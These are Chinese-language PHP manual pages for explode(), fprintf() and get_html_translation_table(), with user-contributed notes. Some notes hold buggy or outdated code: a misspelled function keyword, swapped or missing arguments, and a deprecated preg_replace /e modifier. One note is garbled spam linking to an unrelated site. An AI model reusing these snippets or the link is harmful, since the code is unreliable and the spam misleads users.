使用一个字符串分割另一个字符串

  • ? echo
  • fprintf ?
  • PHP Manual
  • 字符串 函数
  • 使用一个字符串分割另一个字符串

explode

(PHP 4, PHP 5, PHP 7)

explode — 使用一个字符串分割另一个字符串

说明

explode ( string $delimiter , string $string [, int $limit ] ) : array

此函数返回由字符串组成的数组，每个元素都是 string 的一个子串，它们被字符串 delimiter 作为边界点分割出来。

参数

delimiter

边界上的分隔字符。

string

输入的字符串。

limit

如果设置了 limit 参数并且是正数，则返回的数组包含最多 limit 个元素，而最后那个元素将包含 string 的剩余部分。

如果 limit 参数是负数，则返回除了最后的 -limit 个元素外的所有元素。

如果 limit 是 0，则会被当做 1。

由于历史原因，虽然 implode() 可以接收两种参数顺序，但是 explode() 不行。你必须保证 separator 参数在 string 参数之前才行。

返回值

此函数返回由字符串组成的 array，每个元素都是 string 的一个子串，它们被字符串 delimiter 作为边界点分割出来。

如果 delimiter 为空字符串（""），explode() 将返回 FALSE。 如果 delimiter 所包含的值在 string 中找不到，并且使用了负数的 limit ， 那么会返回空的 array， 否则返回包含 string 单个元素的数组。

更新日志

版本 | 说明
5.1.0 | 支持负数的 limit
4.0.1 | 增加了参数 limit

范例

Example #1 explode() 例子

<?php
// 示例 1
$pizza  = "piece1 piece2 piece3 piece4 piece5 piece6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // piece1
echo $pieces[1]; // piece2

// 示例 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *

?>

Example #2 explode() return examples

<?php
/* A string that doesn't contain the delimiter will simply return a one-length array of the original string. */
$input1 = "hello";
$input2 = "hello,there";
var_dump( explode( ',', $input1 ) );
var_dump( explode( ',', $input2 ) );

?>

以上例程会输出：

array(1)
(
    [0] => string(5) "hello"
)
array(2)
(
    [0] => string(5) "hello"
    [1] => string(5) "there"
)

Example #3 limit 参数的例子

<?php
$str = 'one|two|three|four';

// 正数的 limit
print_r(explode('|', $str, 2));

// 负数的 limit（自 PHP 5.1 起）
print_r(explode('|', $str, -1));
?>

以上例程会输出：

Array
(
    [0] => one
    [1] => two|three|four
)
Array
(
    [0] => one
    [1] => two
    [2] => three
)

注释

Note: 此函数可安全用于二进制对象。

参见

  • preg_split() - 通过一个正则表达式分隔字符串
  • str_split() - 将字符串转换为数组
  • mb_split() - 使用正则表达式分割多字节字符串
  • str_word_count() - 返回字符串中单词的使用情况
  • strtok() - 标记分割字符串
  • implode() - 将一个一维数组的值转化为字符串

User Contributed Notes

rs at income dot cz 13-Aug-2019 08:25
explode(' ','') returns nonempty array ...
jaybee at baelemans dot eu 06-Jun-2019 04:55
It toke me about 1 day to find out the problem. (almost?) every function in PHP has a logical build as argument 1: Entity where the operation is based upon and 2 - the operand in the process. But with the explode-function the order is reversed and different. First the operand (delimiter) and second the string to be managed. Not quite logical compared to other needle-haystack-functions. And yes, If you're reading the format it should be no problem. Just hoping to help somebody else.
Grihais Modoravko 06-Jun-2019 12:52
<?php
functinon metaExplode(string $za = '', string $lu = '', string $pa = '') {
    return explode($za . ',' . $lu . ',' . $pa, ',');
}
jenny 26-Mar-2018 02:30
He found that the white girl's lame leg and chose to break up was actually broken up. If it weren't for her pregnant with her children, he did not have a compound chance. When this opportunity arises, what he thinks is not Green Hat shame http://www.verobuddismo.ru/
KEINOS 19-Jan-2018 07:52
If you want to have delimiter option as an array WITH limit option.
( an extended approach from php-at-metehanarslan-dot-com's )

<?php
/**
 * explode_multi function.
 *
 * Split a string by an array of string and limitable
 *
 * @access public
 * @param  array    $delimiters
 * @param  string   $string_raw
 * @param  integer  $limit (default: PHP_INT_MAX)
 * @return array
 */
function explode_multi($delimiters, $string_raw, $limit = PHP_INT_MAX)
{
    $string_tmp = (string) $string_raw;
    $string_rep = str_replace($delimiters, $delimiters[0], $string_raw);
    $exploded   = explode($delimiters[0], $string_rep, $limit);
    $result     = array();
    for ($key = 0; $key < ($limit-1); $key++) {
        $pattern    = $exploded[$key];
        $string_tmp = preg_replace("/${pattern}/", '', $string_tmp, 1);
        $result[]   = $pattern;
    }
    $result[] = trim($string_tmp);

    return $result;
}

?>
auramgold 27-May-2017 06:58
Simple function to explode a string with keys specified in the string.

<?php
function explode_with_keys($delim1,$delim2,$inputstring)
{
    $firstarr = explode($delim1,$inputstring);
    $finalarr = array();
    foreach($firstarr as $set)
    {
        $setarr = explode($delim2,$set);
        $finalarr[$setarr[0]] = $setarr[1];
    }
    return $finalarr;
}

print_r(explode_with_keys(";",":","a:b;c:d;e:f"));
?>

Will output:
Array ( [a] => b [c] => d [e] => f )
MarkAgius at markagius dot co dot uk 14-May-2017 10:42
As you can not send an enclosure value to explode, use str_getcsv,
if you want to explode a string when the delimiter is in some cells. (Comma in quotes)

<?php
  $a = "aaa1,bbb1,'ccc,ccc1',ddd1";
  $b = 'aaa2,bbb2,"ccc,ccc2",ddd2';

  // This dosn't work as it splits 'ccc,ccc1' and "ccc,ccc2".

  print "<PRE>a output using explode():\n";
  print_r( explode(",",$a) );
  print "</PRE>\n";

  print "<PRE>b output using explode():\n";
  print_r( explode(",",$b) );
  print "</PRE>\n";

  // This works.

  print "<PRE>a output using str_getcsv():\n";
  print_r( str_getcsv($a,",","'") );
  print "</PRE>\n";

  print "<PRE>b output using str_getcsv():\n";
  print_r( str_getcsv($b,",","\"") );
  print "</PRE>\n";

?>
explode() returns;
    [0] => aaa1
    [1] => bbb1
    [2] => 'ccc
    [3] => ccc1'
    [4] => ddd1

str_getcsv() returns;
    [0] => aaa1
    [1] => bbb1
    [2] => ccc,ccc1
    [3] => ddd1
Manngo 30-Dec-2016 07:25
Sometimes I want to create a MINIMUM length array. For example, if the delimiter is not present at all, you might still want an empty additional item.

This can be done by adding the delimiter to the string as follows:

<?php
    $data='a';
    $array=explode(':',"$data:");
    print_r($array);
?>

If you want an EXACT number of elements, you can combine this with array_slice:

<?php
    $data='a:::';
    $array=explode(':',"$data:");
    $array=array_slice($array,0,2);    //    exactly 2 elements
    print_r($array);
?>
dark dot side01 at yahoo dot com 19-Apr-2016 07:44
(excuse my english)
When I try to use explode to know if a string contains many words, I noticed this :

<?php
      $sentence= "  word ";
      $array = explode($sentence);
       var_dump($array);
?>
return this :

array(4) {
  [0]=>  string(0) ""
  [1]=>  string(0) ""
  [2]=>  string(4) "word"
  [3]=>  string(0) ""
}

So, "explode" didn't keep the delimiter but counts it. You have to use trim($sentence) to count words in a sentence.  ^v^
kenorb at niepodam dot pl 20-Oct-2015 09:48
If you need to split by multiple characters, use preg_split() instead:

    $new_string = preg_split("/[&=:]/", $string);
wado 23-Nov-2014 02:17
It should be said that when an empty delimiter is passed to explode, the function not only will return false but will also emit a warning.

<?php
var_dump( explode('','asdasd') );

/**
  * Output:
  * Warning: explode(): Empty delimiter in ...
  * bool(false)
  */
?>
david dot drakulovski at gmail dot com 25-Feb-2014 10:58
I made this code for some useful filtering texts with lot of gibberish. Example provided:

<?php
$text = "There are;many|variations of:passages of Lorem Ipsum available,but the/majority have\"suffered|alteration in some form,by injected humour,or randomised words which don't look even.slightly:believable./";

$delimiter = array(" ",",",".","'","\"","|","\\","/",";",":");
$replace = str_replace($delimiter, $delimiter[0], $text);
$explode = explode($delimiter[0], $replace);

echo '<pre>';
print_r($explode);
echo '</pre>';
// replaces many symbols in text, then explodes it
?>

This will output the following:
Array
(
    [0] => There
    [1] => are
    [2] => many
    [3] => variations
    [4] => of
    [5] => passages
    [6] => of
    [7] => Lorem
    [8] => Ipsum
    [9] => available
    [10] => but
    [11] => the
    [12] => majority
    [13] => have
    [14] => suffered
    [15] => alteration
    [16] => in
    [17] => some
    [18] => form
    [19] => by
    [20] => injected
    [21] => humour
    [22] => or
    [23] => randomised
    [24] => words
    [25] => which
    [26] => don
    [27] => t
    [28] => look
    [29] => even
    [30] => slightly
    [31] => believable
    [32] =>
    [33] =>
)
artaxerxes2 at iname dot com 31-Jan-2014 04:29
Note that using explode() on an empty string returns a non-empty array.

So the code:
<?php
  print_r(explode("|","");
?>
returns:
Array
(
    [0] =>
)

If you need to return an empty array in the case of an empty string, you must call array_diff() after the explode:
<?php
  print_r(array_diff(explode("|",""),array("")));
?>
returns:
Array
(
)

This is useful in case your use of MySQL's group_concat() returns an empty string for just some records but you want to convert them all to arrays that actually reflect what group_concat() gave you
crog at gustavus dot edu 01-Aug-2013 07:52
Note that while the documentation states the "If limit is set and positive," passing a null-value will still result in triggering the "limit is zero" case (as of PHP 5.4.17).

When passing through values (such as using explode to implement an interface method), you'll need to explicitly check that the limit has been set:

<?php
  public function split($string, $delimiter, $limit = null)
  {
    return isset($limit) ? explode($delimiter, $string, $limit) : explode($delimiter, $string);
  }
?>

Failing to check $limit and simply passing through a null-value will return the same value as if $limit were 0 or 1. To clarify, all of the following will return the same value:

<?php
explode($string, $delimiter, null);
explode($string, $delimiter, 0);
explode($string, $delimiter, 1);
?>
Hayley Watson 12-Mar-2013 09:13
The comments to use array_filter() without a callback to remove empty strings from explode's results miss the fact that array_filter will remove all elements that, to quote the manual,  "are equal to FALSE".

This includes, in particular, the string "0", which is NOT an empty string.

If you really want to filter out empty strings, use the defining feature of the empty string that it is the only string that has a length of 0. So:
<?php
array_filter(explode(':', "1:2::3:0:4"), 'strlen');
?>
m.reesinck 18-Feb-2013 12:59
I needed a multiexplode which didn't replace my delimiters for 1 other delimiter. Because I couldn't find one in the examples I made one.

delimiter array:
array('/RTRN/','/BUSP/','/BENM/','/ORDP/','/CSID/', '/MARF/','/EREF/', '/PREF/','/REMI/','/ID/','/PURP/', '/ULTB/','/ULTD/');

input string: /RTRN/MS03//BENM/NL50INGB00012345/BUSP/Europese Incasso/eenmalig/67/INGBNL2A/ING Bank N.V. inzake WeB///CSID/NL32ZZZ999999991234//MARF/EV45451//EREF/EV45451 REP170112T1106//REMI///EV45451REP170112T1106/

output:
array(
[/RTRN/] => MS03/
[/BENM/] => NL50INGB00012345
[/BUSP/] => Europese Incasso/eenmalig/67/INGBNL2A/ING Bank N.V. inzake WeB//
[/CSID/] => NL32ZZZ999999991234/
[/MARF/] => EV45451/
[/EREF/] => EV45451REP170112T1106/
[/REMI/] => //EV45451REP170112T1106/
[/ORDP/] =>
[/PREF/] =>
[/ID/] =>
[/PURP/] =>
[/ULTB/] =>
[/ULTD/] =>
)

<?php
function multiexplode($delimiters,$string) {

        $arrOccurence = array();
        $arrEnd = array();
        foreach($delimiters as $key => $value){
            $position = strpos($string, $value);
            if($position > -1){
                $arrOccurence[$value] = $position;
            }
        }

        if(count($arrOccurence) > 0){

            asort($arrOccurence);
            $arrEnd = array_values($arrOccurence);
            array_shift($arrEnd);

            $i = 0;
            foreach($arrOccurence as $key => $start){
                $pointer = $start+strlen($key);
                if($i == count($arrEnd)){
                    $arrOccurence[$key] = substr($string, $pointer);
                } else {
                    $arrOccurence[$key] = substr($string, $pointer, $arrEnd[$i]-$pointer);
                }
                $i++;
            }

        }

         //next part can be left apart if not necessary. In that case key that don't appear in the inputstringwill not be returned
        foreach($delimiters as $key => $value){
            if(!isset($arrOccurence[$value])){
                $arrOccurence[$value] = '';
            }
        }

        return $arrOccurence;
}
?>
php at metehanarslan dot com 04-Feb-2013 10:43
Here is my approach to have exploded output with multiple delimiter.

<?php

//$delimiters has to be array
//$string has to be array

function multiexplode ($delimiters,$string) {

    $ready = str_replace($delimiters, $delimiters[0], $string);
    $launch = explode($delimiters[0], $ready);
    return  $launch;
}

$text = "here is a sample: this text, and this will be exploded. this also | this one too :)";
$exploded = multiexplode(array(",",".","|",":"),$text);

print_r($exploded);

//And output will be like this:
// Array
// (
//    [0] => here is a sample
//    [1] =>  this text
//    [2] =>  and this will be exploded
//    [3] =>  this also
//    [4] =>  this one too
//    [5] => )
// )

?>
kkobashi at kobashicomputing dot com 14-Jul-2012 03:36
Explode does not parse a string by delimiters, in the sense that we expect to find tokens between a starting and ending delimiter, but instead splits a string into parts by using a string as the boundary of each part. Once that boundary is discovered the string is split. Whether or not that boundary is proceeded or superseded by any data is irrelevant since the parts are determined at the point a boundary is discovered.

For example:

<?php

var_dump(explode("/","/"));

/*
   Outputs

   array(2) {
     [0]=>
     string(0) ""
     [1]=>
     string(0) ""
   }
*/

?>

The reason we have two empty strings here is that a boundary is discovered before any data has been collected from the string. The boundary splits the string into two parts even though those parts are empty.

One way to avoid getting back empty parts (if you don't care for those empty parts) is to use array_filter on the result.

<?php

var_dump(array_filter(explode("/","/")));

/*
   Outputs

   array(0) {
   }
*/
?>

*[This note was edited by googleguy at php dot net for clarity]*
eye_syah88 at yahoo dot com 30-May-2011 12:32
a simple one line method to explode & trim whitespaces from the exploded elements

array_map('trim',explode(",",$str));

example:

$str="one  ,two  ,       three  ,  four    ";
print_r(array_map('trim',explode(",",$str)));

Output:

Array ( [0] => one [1] => two [2] => three [3] => four )
dhz 30-Dec-2010 09:21
A one-liner to extract a portion of a string, starting from the END of the string....
<?php
$extracted_string = implode('.', array_slice(explode('.', $original_string), -2));
?>
tiago dot dias at flow-me dot com 09-Sep-2010 03:40
Beaware splitting empty strings.

<?php
$str = "";
$res = explode(",", $str);
print_r($res);
?>

If you split an empty string, you get back a one-element array with 0 as the key and an empty string for the value.

Array
(
    [0] =>
)

To solve this, just use array_filter() without callback. Quoting manual page "If the callback function is not supplied, array_filter() will remove all the entries of input that are equal to FALSE.".

<?php
$str = "";
$res = array_filter(explode(",", $str));
print_r($res);
?>

Array
(
)
Cody G. 08-Aug-2010 06:41
I'm sure you guys get just a bit frustrated at times when you need a fraction of a very simple string and you use "explode()", but then you have to define a whole extra variable. (That is because you need to store a function-returned array in a variable before you can extract a value).

If you're extracting the last half, or third, of a string, there's an easy inline workaround. Check this:

<?php
 $mystr = "separated-text";
 print(str_replace("-","",strstr("-",$mystr)));
 //Returns "text"
?>

If the separator (dash) can be left in, you don't even need the "str_replace()" function.

Lets try this with 3 fractions:

<?php
 $mystr = "separated-text-again";
 //Comment submission wouldn't let me
 // combine this into one statement.
 // That's okay, it's more readable.
 $split1 = str_replace("-","",strstr("-",$mystr));
 print(str_replace("-","",strstr("-",$split1)));
 //Returns "again"
?>

Anything more than 3 fractions gets really confusing, in that case you should use "explode()".

Hope this helps!
~Cody G.
m0gr14 at gmail dot com 31-Jul-2010 07:02
Here's a function for "multi" exploding a string.

<?php
//the function
//Param 1 has to be an Array
//Param 2 has to be a String
function multiexplode ($delimiters,$string) {
    $ary = explode($delimiters[0],$string);
    array_shift($delimiters);
    if($delimiters != NULL) {
        foreach($ary as $key => $val) {
             $ary[$key] = multiexplode($delimiters, $val);
        }
    }
    return  $ary;
}

// Example of use
$string = "1-2-3|4-5|6:7-8-9-0|1,2:3-4|5";
$delimiters = Array(",",":","|","-");

$res = multiexplode($delimiters,$string);
echo '<pre>';
print_r($res);
echo '</pre>';

//returns
/*
Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [0] => 1
                            [1] => 2
                            [2] => 3
                        )

                    [1] => Array
                        (
                            [0] => 4
                            [1] => 5
                        )

                    [2] => Array
                        (
                            [0] => 6
                        )

                )

            [1] => Array
                (
                    [0] => Array
                        (
                            [0] => 7
                            [1] => 8
                            [2] => 9
                            [3] => 0
                        )

                    [1] => Array
                        (
                            [0] => 1
                        )

                )

        )

    [1] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [0] => 2
                        )

                )

            [1] => Array
                (
                    [0] => Array
                        (
                            [0] => 3
                            [1] => 4
                        )

                    [1] => Array
                        (
                            [0] => 5
                        )

                )

        )

)
*/
?>
locoluis at gmail dot com 08-Apr-2010 09:02
That with all stateful encodings that use bytes between 0x00 and 0x7f for something other than, say, encoding ASCII characters. Including GBK, BIG5, Shift-JIS etc.

explode and other such PHP functions work on bytes, not characters.

What you do is to convert the string to UTF-8 using iconv(), then explode, then go back to GBK.
nick dot brown at free dot fr 14-Oct-2009 03:47
My application was running out of memory (my hosting company limits PHP to 32MB).  I have a string containing between 100 and 20000 triplets, separated by a space, with each triplet consisting of three double-precision numbers, separated by commas.  Total size of the biggest string, with 20000 triplets, is about 1MB.

The application needs to split the string into triplets, then split the triplet into numbers.  In C, this would take up about 480K (20000 times 3 x 8 bytes) for the final array.  The intermediate array of strings shouldn't be much bigger than the long string itself (1MB).  And I expect some overhead from PHP, say 300% to allow for indexes etc.

Well, PHP5 manages to run out of memory *at the first stage* (exploding the string on the space character).  I'm expecting to get an array of 20000 strings, but it needs more than 32MB to store it.  Amazing.

The workaround was easy and had the bonus of producing faster code (I compared it on a 10000 triplet string).  Since in any case I had to split up the numeric triplets afterwards, I decided to use preg_match_all() on the original string.  Despite the fact that the resulting "matches" array contains more data per element than the result of explode() - because it stores the matched triplet, plus its component numbers - it takes up far less memory.

Moral: be careful when using explode() on big strings, as it can also explode your memory usage.
Anonymous 28-Sep-2009 03:20
Note to the previous example: we can do the whole string->array conversion using explode() exclusively.

<?php
    // converts pure string into a trimmed keyed array
    function string_2_array( $string, $delimiter = ',', $kv = '=>')
    {
        if ($element = explode( $delimiter, $string ))
        {
            // create parts
            foreach ( $element as $key_value )
            {
                // key -> value pair or single value
                $atom = explode( $kv, $key_value );

                if( trim($atom[1]) )
                {
                  $key_arr[trim($atom[0])] = trim($atom[1]);
                }
                else
                {
                    $key_arr[] = trim($atom[0]);
                }
            }
        }
        else
        {
            $key_arr = false;
        }

        return $key_arr;
    }
?>
Anonymous 02-Sep-2009 07:18
<?php
// converts pure string into a trimmed keyed array
function string2KeyedArray($string, $delimiter = ',', $kv = '=>') {
  if ($a = explode($delimiter, $string)) { // create parts
    foreach ($a as $s) { // each part
      if ($s) {
        if ($pos = strpos($s, $kv)) { // key/value delimiter
          $ka[trim(substr($s, 0, $pos))] = trim(substr($s, $pos + strlen($kv)));
        } else { // key delimiter not found
          $ka[] = trim($s);
        }
      }
    }
    return $ka;
  }
} // string2KeyedArray

$string = 'a=>1, b=>23   , $a, c=> 45% , true,d => ab c ';
print_r(string2KeyedArray($string));
?>

Array
(
  [a] => 1
  [b] => 23
  [0] => $a
  [c] => 45%
  [1] => true
  [d] => ab c
)
SR 21-Apr-2009 07:50
Keep in mind that explode() can return empty elements if the delimiter is immediately repeated twice (or more), as shown by the following example:

<?php
$foo = 'uno dos  tres'; // two spaces between "dos" and "tres"
print_r(explode(' ', $foo));
?>

Array
(
    [0] => uno
    [1] => dos
    [2] =>
    [3] => tres
)

Needless to say this is definitely not intuitive and must be handled carefully.
seventoes at gmail dot com 09-Dec-2006 07:49
Note that explode, split, and functions like it, can accept more than a single character for the delimiter.

<?php
$string = "Something--next--something else--next--one more";

print_r(explode('--next--',$string));
?>
coroa at cosmo-genics dot com 16-Nov-2003 08:01
To split a string containing multiple seperators between elements rather use preg_split than explode:

preg_split ("/\s+/", "Here  are    to    many  spaces in   between");

which gives you
array ("Here", "are", "to", "many", "spaces", "in", "between");


将格式化后的字符串写入到流

  • ? explode
  • get_html_translation_table ?
  • PHP Manual
  • 字符串 函数
  • 将格式化后的字符串写入到流

fprintf

(PHP 5, PHP 7)

fprintf — 将格式化后的字符串写入到流

说明

fprintf ( resource $handle , string $format [, mixed $args [, mixed $... ]] ) : int

写入一个根据 format 格式化后的字符串到 由 handle 句柄打开的流中。

参数

handle

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

format

参见 sprintf() 中对 format 的描述。

args

...

返回值

返回写入的字符串长度。

范例

Example #1 fprintf(): zero-padded integers

<?php
if (!($fp = fopen('date.txt', 'w'))) {
    return;
}

fprintf($fp, "%04d-%02d-%02d", $year, $month, $day);
// will write the formatted ISO date to date.txt
?>

Example #2 fprintf(): formatting currency

<?php
if (!($fp = fopen('currency.txt', 'w'))) {
    return;
}

$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money will output "123.1";
$len = fprintf($fp, '%01.2f', $money);
// will write "123.10" to currency.txt

echo "wrote $len bytes to currency.txt";
// use the return value of fprintf to determine how many bytes we wrote
?>

参见

  • printf() - 输出格式化字符串
  • sprintf() - Return a formatted string
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • vsprintf() - 返回格式化字符串
  • number_format() - 以千位分隔符方式格式化一个数字

User Contributed Notes

There are no user contributed notes for this page.


返回使用 htmlspecialchars 和 htmlentities 后的转换表

  • ? fprintf
  • hebrev ?
  • PHP Manual
  • 字符串 函数
  • 返回使用 htmlspecialchars 和 htmlentities 后的转换表

get_html_translation_table

(PHP 4, PHP 5, PHP 7)

get_html_translation_table — 返回使用 htmlspecialchars() 和 htmlentities() 后的转换表

说明

get_html_translation_table ([ int $table = HTML_SPECIALCHARS [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = 'UTF-8' ]]] ) : array

get_html_translation_table() 将返回 htmlspecialchars() 和 htmlentities() 处理后的转换表。

Note:

特殊字符可以使用多种转换方式。 例如： " 可以被转换成 &quot;, &#34; 或者 &#x22. get_html_translation_table() 返回其中最常用的。

参数

table

有两个新的常量 (HTML_ENTITIES, HTML_SPECIALCHARS) 允许你指定你想要的表。

flags

A bitmask of one or more of the following flags, which specify which quotes the table will contain as well as which document type the table is for. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Table will contain entities for double-quotes, but not for single-quotes.
ENT_QUOTES | Table will contain entities for both double and single quotes.
ENT_NOQUOTES | Table will neither contain entities for single quotes nor for double quotes.
ENT_HTML401 | Table for HTML 4.01.
ENT_XML1 | Table for XML 1.
ENT_XHTML | Table for XHTML.
ENT_HTML5 | Table for HTML 5.

encoding

Encoding to use. If omitted, the default value for this argument is ISO-8859-1 in versions of PHP prior to 5.4.0, and UTF-8 from PHP 5.4.0 onwards.

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

返回值

将转换表作为一个数组返回。

更新日志

版本 | 说明
5.4.0 | The default value for the encoding parameter was changed to UTF-8.
5.4.0 | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
5.3.4 | The encoding parameter was added.

范例

Example #1 Translation Table Example

<?php
var_dump(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5));
?>

以上例程的输出类似于：

array(1510) {
  ["
"]=>
  string(9) "&NewLine;"
  ["!"]=>
  string(6) "&excl;"
  ["""]=>
  string(6) "&quot;"
  ["#"]=>
  string(5) "&num;"
  ["$"]=>
  string(8) "&dollar;"
  ["%"]=>
  string(8) "&percnt;"
  ["&"]=>
  string(5) "&amp;"
  ["'"]=>
  string(6) "&apos;"
  // ...
}

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • htmlentities() - 将字符转换为 HTML 转义字符
  • html_entity_decode() - Convert HTML entities to their corresponding characters

User Contributed Notes

michael dot genesis at gmail dot com 12-Dec-2011 03:01
The fact that MS-word and some other sources use CP-1252, and that it is so close to Latin1 ('ISO-8859-1') causes a lot of confusion. What confused me the most was finding that mySQL uses CP-1252 by default.

You may run into trouble if you find yourself tempted to do something like this:
<?php
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
?>

Don't do it. DON'T DO IT!

You can use:
<?php
    $translationTable = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES, 'WINDOWS-1252');
?>

or just convert directly:
<?php
    $output = htmlentities($input, ENT_NOQUOTES, 'WINDOWS-1252');
?>

But your web page is probably encoded UTF-8, and you probably don't really want CP-1252 text flying around, so fix the character encoding first:
<?php
    $output = mb_convert_encoding($input, 'UTF-8', 'WINDOWS-1252');
    $ouput = htmlentities($output);
?>
kevin at cwsmailbox dot xom 15-Sep-2010 09:55
Be careful using get_html_translation_table() in a loop, as it's very slow.
Kenneth Kin Lum 23-Sep-2008 05:54
to display the mapping on a webpage no matter what the server encoding is, this can be used

  echo "<pre>\n";
  echo htmlentities(print_r((get_html_translation_table(HTML_SPECIALCHARS)), true));
  echo htmlentities(print_r((get_html_translation_table(HTML_ENTITIES)), true));

since get_html_translation_table() actually gives the special chars in iso-8859-1 (Latin-1) encoding, so to see the tables correctly using

  print_r(get_html_translation_table(HTML_ENTITIES));

your server needs to give a HTTP header as iso-8859-1, unless you use header() or manually set the browser's encoding setting to iso-8859-1.  And you need to view the source of the page to see the mapping.  (except English version of IE 7 outputs the page source as iso-8859-1 anyway).
robertn972 at gmail dot com 22-Jul-2008 08:18
I found this useful in converting latin characters

<?php
function convertLatin1ToHtml($str) {
$allEntities = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES);
$specialEntities = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);
$noTags = array_diff($allEntities, $specialEntities);
$str = strtr($str, $noTags);
return $str;
}
?>
iain (duh) workingsoftware.com.au 07-Sep-2007 02:06
I wrote a quick little function for converting something like '&middot;' into '&#183;':

$to_convert = '&middot;';
$table = get_html_translation_table(HTML_ENTITIES);
$equiv = '&#'.ord(array_search($to_convert,$table)).';';
Maurizio Siliani at trident dot it 20-Jul-2007 08:43
If you have troubles (like me) getting data from ISO-8859-1 encoded forms where user copy and paste from word, this routine could be useful.
It adds to the standard get_html_translation_table the codes of the characters usually M$ Word replacs into typed text.
Otherwise those characters would never be displayed correctly in html output.

function get_html_translation_table_CP1252() {
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
    $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
    $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
    $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
    $trans[chr(134)] = '&dagger;';    // Dagger
    $trans[chr(135)] = '&Dagger;';    // Double Dagger
    $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
    $trans[chr(137)] = '&permil;';    // Per Mille Sign
    $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
    $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
    $trans[chr(140)] = '&OElig;    ';    // Latin Capital Ligature OE
    $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
    $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
    $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
    $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
    $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
    $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
    $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
    $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
    ksort($trans);
    return $trans;
}
Jér?me Jaglale 31-Dec-2006 11:43
htmlentities includes htmlspecialchars, so here's how to convert an UTF-8 string :
htmlentities($string, ENT_QUOTES, 'UTF-8');
Patrick nospam at nospam mesopia dot com 29-May-2005 07:00
Not sure what's going on here but I've run into a problem that others might face as well...

<?php

$translations = array_flip(get_html_translation_table(HTML_ENTITIES,ENT_QUOTES));

?>

returns the single quote ' as being equal to &#39; while

<?php

$translatedString = htmlentities($string,ENT_QUOTES);

?>
returns it as being equal to &#039;

I've had to do a specific string replacement for the time being... Not sure if it's an issue with the function or the array manipulation.

-Pat
Alex Minkoff 18-May-2005 04:30
If you want to display special HTML entities in a web browser, you can use the following code:

<?
$entities = get_html_translation_table(HTML_ENTITIES);
foreach ($entities as $entity) {
    $new_entities[$entity] = htmlspecialchars($entity);
}
echo "<pre>";
print_r($new_entities);
echo "</pre>";
?>

If you don't, the key name of each element will appear to be the same as the element content itself, making it look mighty stupid. ;)
kevin_bro at hostedstuff dot com 03-Jan-2003 06:06
Alans version didn't seem to work right. If you're having the same problem consider using this slightly modified version instead:

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return preg_replace('/&#(\d+);/me',
      "chr('\\1')",$ret);
}
kumar at chicagomodular.com 28-Oct-2002 05:51
